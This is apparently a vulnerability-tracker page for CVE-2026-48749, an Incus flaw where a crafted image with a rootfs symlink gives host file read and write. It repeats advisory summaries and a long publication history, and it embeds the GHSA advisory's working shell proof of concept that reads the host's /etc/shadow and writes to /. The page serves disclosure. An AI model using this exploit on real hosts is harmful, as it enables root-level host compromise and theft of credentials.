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Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

CVSS 3.1 9.9 CRITICALEUVD CVSS 3.1 9.9 CVSS 3.1 · [email protected] · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/lxc/incus/v7/cmd/incusd 7.2.0osv · severity unknownFixed by github.com/lxc/incus/v7 7.2.0KEV status unknown

cve-program · CVE-2026-48749

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.

Read the publisher's advisory

euvd · EUVD-2026-63976

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.

Read the publisher's advisory

nvd · CVE-2026-48749

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes the issue.

Read the publisher's advisory

osv · GHSA-2q3f-q5pq-g8wv

Published

### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In practice, this allows a malicious actor to access the host's filesystem with root privileges. ### PoC Below, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`. ``` #!/bin/sh set -eu tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP mkdir -p "${tmpdir}/img/rootfs" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC rootfs symlink host afrw __EOF__ cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar # inject rootfs symlink rmdir rootfs ln -s / rootfs tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink incus init afrw-rootfs-symlink afrw-rootfs-symlink # read incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow" cat "${tmpdir}/shadow" # write printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink" incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/ ``` ### Impact Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Read the publisher's advisory

osv · GO-2026-5798

Published

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image in github.com/lxc/incus

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

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Risk history

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Advisory history

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15 Nov 2026 14:08:24 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

13 Nov 2026 13:59:34 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

11 Nov 2026 13:02:34 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

9 Nov 2026 12:04:53 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

7 Nov 2026 11:30:26 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

6 Nov 2026 15:03:32 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

nvd · CVE-2026-48749 · Published

6 Nov 2026 11:13:14 UTC

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

osv · GHSA-2q3f-q5pq-g8wv · Published

6 Nov 2026 01:36:41 UTC

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

cve-program · CVE-2026-48749 · Published

5 Nov 2026 23:38:32 UTC

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

osv · GHSA-2q3f-q5pq-g8wv · Published

5 Nov 2026 10:40:29 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

3 Nov 2026 09:59:47 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

1 Nov 2026 09:09:13 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

30 Oct 2026 08:51:29 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

28 Oct 2026 07:10:20 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

euvd · EUVD-2026-63976 · Published

25 Oct 2026 12:17:32 UTC

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 fixes…

nvd · CVE-2026-48749 · Published

24 Oct 2026 13:19:41 UTC

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

osv · GHSA-2q3f-q5pq-g8wv · Published

24 Oct 2026 13:19:41 UTC

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image in github.com/lxc/incus

osv · GO-2026-5798 · Published

23 Oct 2026 15:48:27 UTC

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

cve-program · CVE-2026-48749 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 20:10 UTC · 254 of 275 readable · 250 fully read · documentation 468/469 current